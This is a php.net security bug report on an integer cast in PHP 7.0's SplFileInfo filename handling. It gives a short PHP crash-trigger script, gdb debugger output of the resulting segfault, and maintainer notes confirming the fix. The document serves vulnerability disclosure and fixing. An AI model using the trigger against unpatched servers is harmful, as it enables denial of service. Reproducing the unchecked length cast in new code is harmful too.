php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #73296 Invalid memory access in spl_filesystem_info_set_filename function
Submitted: 2016-10-11 17:03 UTC Modified: 2016-11-14 11:40 UTC
From: nguyenluan dot vnn at gmail dot com Assigned: stas (profile)
Status: Closed Package: SPL_Types (PECL)
PHP Version: 7.0.11 OS:
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: nguyenluan dot vnn at gmail dot com
New email:
PHP Version: OS:

 

 [2016-10-11 17:03 UTC] nguyenluan dot vnn at gmail dot com
Description:
------------
In function spl_filesystem_info_set_filename:

void spl_filesystem_info_set_filename(spl_filesystem_object *intern, char *path, size_t len, size_t use_copy) /* {{{ */
{
	char *p1, *p2;

	if (intern->file_name) {
		efree(intern->file_name);
	}

	intern->file_name = use_copy ? estrndup(path, len) : path;
	intern->file_name_len = (int)len;  // (1) intern->file_name_len could have very big value after this line

	while (intern->file_name_len > 1 && IS_SLASH_AT(intern->file_name, intern->file_name_len-1)) {  // (2) crash here at IS_SLASH_AT
		intern->file_name[intern->file_name_len-1] = 0;
		intern->file_name_len--;
	}

        ...
        ...
}

After the cast intern->file_name_len = (int)len, intern->file_name_len could have very big value (for example: len = 0x80001004 will make intern->file_name_len = 0xffffffff80001004).

This index is far beyond the input string length so there will be an invalid memory access when execute "IS_SLASH_AT(intern->file_name, intern->file_name_len-1" and cause PHP 7 to crash.

Test script:
---------------
<?php
    ini_set('memory_limit', -1);
    $info = new SplFileInfo(str_repeat('a', 0x80001000).'.foo');

    var_dump(strlen($info->getExtension()));
?>

Expected result:
----------------
No crash.

Actual result:
--------------
gdb-peda$ b spl_directory.c:386
Breakpoint 1 at 0x8428f8: file /home/user/Desktop/php-7.0.11/ext/spl/spl_directory.c, line 386.

gdb-peda$ r ../test/string/test.php 
Starting program: /home/user/Desktop/php-7.0.11/sapi/cli/php ../test/string/test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

 [----------------------------------registers-----------------------------------]
RAX: 0x7ffeeca00000 ('a' <repeats 200 times>...)
RBX: 0x0 
RCX: 0x6f ('o')
RDX: 0x7fffed278000 --> 0x0 
RSI: 0x7fff6cc00018 ('a' <repeats 200 times>...)
RDI: 0x7ffeeca00000 ('a' <repeats 200 times>...)
RBP: 0x7fffffffa6e0 --> 0x7fffffffa720 --> 0x7fffffffa770 --> 0x7fffffffa7a0 --> 0x7fffffffa7e0 --> 0x7fffffffa8f0 (--> ...)
RSP: 0x7fffffffa6b0 --> 0x1 
RIP: 0x8428f8 (<spl_filesystem_info_set_filename+137>:	)
R8 : 0x8000100 
R9 : 0x8000100 
R10: 0x9 ('\t')
R11: 0x206 
R12: 0x445010 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1a0 --> 0x2 
R14: 0x7fffed214030 --> 0x7fffed282160 --> 0xaafc2c (<ZEND_DO_FCALL_SPEC_HANDLER>:	push   rbp)
R15: 0x7fffed282160 --> 0xaafc2c (<ZEND_DO_FCALL_SPEC_HANDLER>:	push   rbp)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8428ec <spl_filesystem_info_set_filename+125>:	
    mov    rax,QWORD PTR [rbp-0x20]
   0x8428f0 <spl_filesystem_info_set_filename+129>:	
    mov    rdx,QWORD PTR [rbp-0x18]
   0x8428f4 <spl_filesystem_info_set_filename+133>:	
    mov    QWORD PTR [rdx+0x28],rax
=> 0x8428f8 <spl_filesystem_info_set_filename+137>:	
    mov    rax,QWORD PTR [rbp-0x28]
   0x8428fc <spl_filesystem_info_set_filename+141>:	movsxd rdx,eax
   0x8428ff <spl_filesystem_info_set_filename+144>:	
    mov    rax,QWORD PTR [rbp-0x18]
   0x842903 <spl_filesystem_info_set_filename+148>:	
    mov    QWORD PTR [rax+0x30],rdx
   0x842907 <spl_filesystem_info_set_filename+152>:	
    jmp    0x842937 <spl_filesystem_info_set_filename+200>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa6b0 --> 0x1 
0008| 0x7fffffffa6b8 --> 0x80001004 
0016| 0x7fffffffa6c0 --> 0x7fff6cc00018 ('a' <repeats 200 times>...)
0024| 0x7fffffffa6c8 --> 0x7fffed278000 --> 0x0 
0032| 0x7fffffffa6d0 --> 0x80001004 
0040| 0x7fffffffa6d8 --> 0x7fffed279090 --> 0x800000002 
0048| 0x7fffffffa6e0 --> 0x7fffffffa720 --> 0x7fffffffa770 --> 0x7fffffffa7a0 --> 0x7fffffffa7e0 --> 0x7fffffffa8f0 (--> ...)
0056| 0x7fffffffa6e8 --> 0x8451c8 (<zim_spl_SplFileInfo___construct+144>:	)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, spl_filesystem_info_set_filename (intern=0x7fffed278000, 
    path=0x7fff6cc00018 'a' <repeats 200 times>..., len=0x80001004, 
    use_copy=0x1) at /home/user/Desktop/php-7.0.11/ext/spl/spl_directory.c:386
386		intern->file_name_len = (int)len;

gdb-peda$ p len
$1 = 0x80001004

gdb-peda$ n

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffed278000 --> 0x0 
RBX: 0x0 
RCX: 0x6f ('o')
RDX: 0xffffffff80001004 
RSI: 0x7fff6cc00018 ('a' <repeats 200 times>...)
RDI: 0x7ffeeca00000 ('a' <repeats 200 times>...)
RBP: 0x7fffffffa6e0 --> 0x7fffffffa720 --> 0x7fffffffa770 --> 0x7fffffffa7a0 --> 0x7fffffffa7e0 --> 0x7fffffffa8f0 (--> ...)
RSP: 0x7fffffffa6b0 --> 0x1 
RIP: 0x842907 (<spl_filesystem_info_set_filename+152>:	)
R8 : 0x8000100 
R9 : 0x8000100 
R10: 0x9 ('\t')
R11: 0x206 
R12: 0x445010 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1a0 --> 0x2 
R14: 0x7fffed214030 --> 0x7fffed282160 --> 0xaafc2c (<ZEND_DO_FCALL_SPEC_HANDLER>:	push   rbp)
R15: 0x7fffed282160 --> 0xaafc2c (<ZEND_DO_FCALL_SPEC_HANDLER>:	push   rbp)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8428fc <spl_filesystem_info_set_filename+141>:	movsxd rdx,eax
   0x8428ff <spl_filesystem_info_set_filename+144>:	
    mov    rax,QWORD PTR [rbp-0x18]
   0x842903 <spl_filesystem_info_set_filename+148>:	
    mov    QWORD PTR [rax+0x30],rdx
=> 0x842907 <spl_filesystem_info_set_filename+152>:	
    jmp    0x842937 <spl_filesystem_info_set_filename+200>
   0x842909 <spl_filesystem_info_set_filename+154>:	
    mov    rax,QWORD PTR [rbp-0x18]
   0x84290d <spl_filesystem_info_set_filename+158>:	
    mov    rdx,QWORD PTR [rax+0x28]
   0x842911 <spl_filesystem_info_set_filename+162>:	
    mov    rax,QWORD PTR [rbp-0x18]
   0x842915 <spl_filesystem_info_set_filename+166>:	
    mov    rax,QWORD PTR [rax+0x30]
                                                              JUMP is NOT taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa6b0 --> 0x1 
0008| 0x7fffffffa6b8 --> 0x80001004 
0016| 0x7fffffffa6c0 --> 0x7fff6cc00018 ('a' <repeats 200 times>...)
0024| 0x7fffffffa6c8 --> 0x7fffed278000 --> 0x0 
0032| 0x7fffffffa6d0 --> 0x80001004 
0040| 0x7fffffffa6d8 --> 0x7fffed279090 --> 0x800000002 
0048| 0x7fffffffa6e0 --> 0x7fffffffa720 --> 0x7fffffffa770 --> 0x7fffffffa7a0 --> 0x7fffffffa7e0 --> 0x7fffffffa8f0 (--> ...)
0056| 0x7fffffffa6e8 --> 0x8451c8 (<zim_spl_SplFileInfo___construct+144>:	)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
388		while (intern->file_name_len > 1 && IS_SLASH_AT(intern->file_name, intern->file_name_len-1)) {

gdb-peda$ p intern->file_name_len
$2 = 0xffffffff80001004  // value after casting

gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7ffe6ca01003 
RBX: 0x0 
RCX: 0x6f ('o')
RDX: 0x7ffeeca00000 ('a' <repeats 200 times>...)
RSI: 0x7fff6cc00018 ('a' <repeats 200 times>...)
RDI: 0x7ffeeca00000 ('a' <repeats 200 times>...)
RBP: 0x7fffffffa6e0 --> 0x7fffffffa720 --> 0x7fffffffa770 --> 0x7fffffffa7a0 --> 0x7fffffffa7e0 --> 0x7fffffffa8f0 (--> ...)
RSP: 0x7fffffffa6b0 --> 0x1 
RIP: 0x84295c (<spl_filesystem_info_set_filename+237>:	)
R8 : 0x8000100 
R9 : 0x8000100 
R10: 0x9 ('\t')
R11: 0x206 
R12: 0x445010 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1a0 --> 0x2 
R14: 0x7fffed214030 --> 0x7fffed282160 --> 0xaafc2c (<ZEND_DO_FCALL_SPEC_HANDLER>:	push   rbp)
R15: 0x7fffed282160 --> 0xaafc2c (<ZEND_DO_FCALL_SPEC_HANDLER>:	push   rbp)
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x842951 <spl_filesystem_info_set_filename+226>:	
    mov    rax,QWORD PTR [rax+0x30]
   0x842955 <spl_filesystem_info_set_filename+230>:	sub    rax,0x1
   0x842959 <spl_filesystem_info_set_filename+234>:	add    rax,rdx
=> 0x84295c <spl_filesystem_info_set_filename+237>:	
    movzx  eax,BYTE PTR [rax]
   0x84295f <spl_filesystem_info_set_filename+240>:	cmp    al,0x2f
   0x842961 <spl_filesystem_info_set_filename+242>:	
    je     0x842909 <spl_filesystem_info_set_filename+154>
   0x842963 <spl_filesystem_info_set_filename+244>:	
    mov    rax,QWORD PTR [rbp-0x18]
   0x842967 <spl_filesystem_info_set_filename+248>:	
    mov    rax,QWORD PTR [rax+0x28]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa6b0 --> 0x1 
0008| 0x7fffffffa6b8 --> 0x80001004 
0016| 0x7fffffffa6c0 --> 0x7fff6cc00018 ('a' <repeats 200 times>...)
0024| 0x7fffffffa6c8 --> 0x7fffed278000 --> 0x0 
0032| 0x7fffffffa6d0 --> 0x80001004 
0040| 0x7fffffffa6d8 --> 0x7fffed279090 --> 0x800000002 
0048| 0x7fffffffa6e0 --> 0x7fffffffa720 --> 0x7fffffffa770 --> 0x7fffffffa7a0 --> 0x7fffffffa7e0 --> 0x7fffffffa8f0 (--> ...)
0056| 0x7fffffffa6e8 --> 0x8451c8 (<zim_spl_SplFileInfo___construct+144>:	)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000084295c in spl_filesystem_info_set_filename (intern=0x7fffed278000, 
    path=0x7fff6cc00018 'a' <repeats 200 times>..., len=0x80001004, 
    use_copy=0x1) at /home/user/Desktop/php-7.0.11/ext/spl/spl_directory.c:388
388		while (intern->file_name_len > 1 && IS_SLASH_AT(intern->file_name, intern->file_name_len-1)) {

gdb-peda$ bt
#0  0x000000000084295c in spl_filesystem_info_set_filename (
    intern=0x7fffed278000, path=0x7fff6cc00018 'a' <repeats 200 times>..., 
    len=0x80001004, use_copy=0x1)
    at /home/user/Desktop/php-7.0.11/ext/spl/spl_directory.c:388
#1  0x00000000008451c8 in zim_spl_SplFileInfo___construct (
    execute_data=0x7fffed214130, return_value=0x7fffed2140e0)
    at /home/user/Desktop/php-7.0.11/ext/spl/spl_directory.c:1118
#2  0x0000000000ab00e1 in ZEND_DO_FCALL_SPEC_HANDLER ()
    at /home/user/Desktop/php-7.0.11/Zend/zend_vm_execute.h:842
#3  0x0000000000aaef61 in execute_ex (ex=0x7fffed214030)
    at /home/user/Desktop/php-7.0.11/Zend/zend_vm_execute.h:414
#4  0x0000000000aaf072 in zend_execute (op_array=0x7fffed281000, 
    return_value=0x0)
    at /home/user/Desktop/php-7.0.11/Zend/zend_vm_execute.h:458
#5  0x0000000000a5014b in zend_execute_scripts (type=0x8, retval=0x0, 
    file_count=0x3) at /home/user/Desktop/php-7.0.11/Zend/zend.c:1427
#6  0x00000000009b8557 in php_execute_script (primary_file=0x7fffffffce20)
    at /home/user/Desktop/php-7.0.11/main/main.c:2494
#7  0x0000000000b18327 in do_cli (argc=0x2, argv=0x146e560)
    at /home/user/Desktop/php-7.0.11/sapi/cli/php_cli.c:974
#8  0x0000000000b194f5 in main (argc=0x2, argv=0x146e560)
    at /home/user/Desktop/php-7.0.11/sapi/cli/php_cli.c:1344
#9  0x00007ffff416f830 in __libc_start_main (main=0xb18cea <main>, argc=0x2, 
    argv=0x7fffffffe1a8, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffe198)
    at ../csu/libc-start.c:291
#10 0x0000000000445039 in _start ()


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-05 21:50 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2016-11-05 21:50 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.
 [2016-11-11 13:07 UTC] nguyenluan dot vnn at gmail dot com
-Status: Closed +Status: Assigned
 [2016-11-11 13:07 UTC] nguyenluan dot vnn at gmail dot com
Still crash in version 7.0.13. Please check again.
 [2016-11-11 13:07 UTC] nguyenluan dot vnn at gmail dot com
-Status: Assigned +Status: Open
 [2016-11-11 13:07 UTC] nguyenluan dot vnn at gmail dot com
Open again.
 [2016-11-14 11:40 UTC] nguyenluan dot vnn at gmail dot com
-Status: Open +Status: Closed
 [2016-11-14 11:40 UTC] nguyenluan dot vnn at gmail dot com
Fixed in PHP 7.1.0 RC6. Please close.

Thanks.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Dec 26 11:01:30 2024 UTC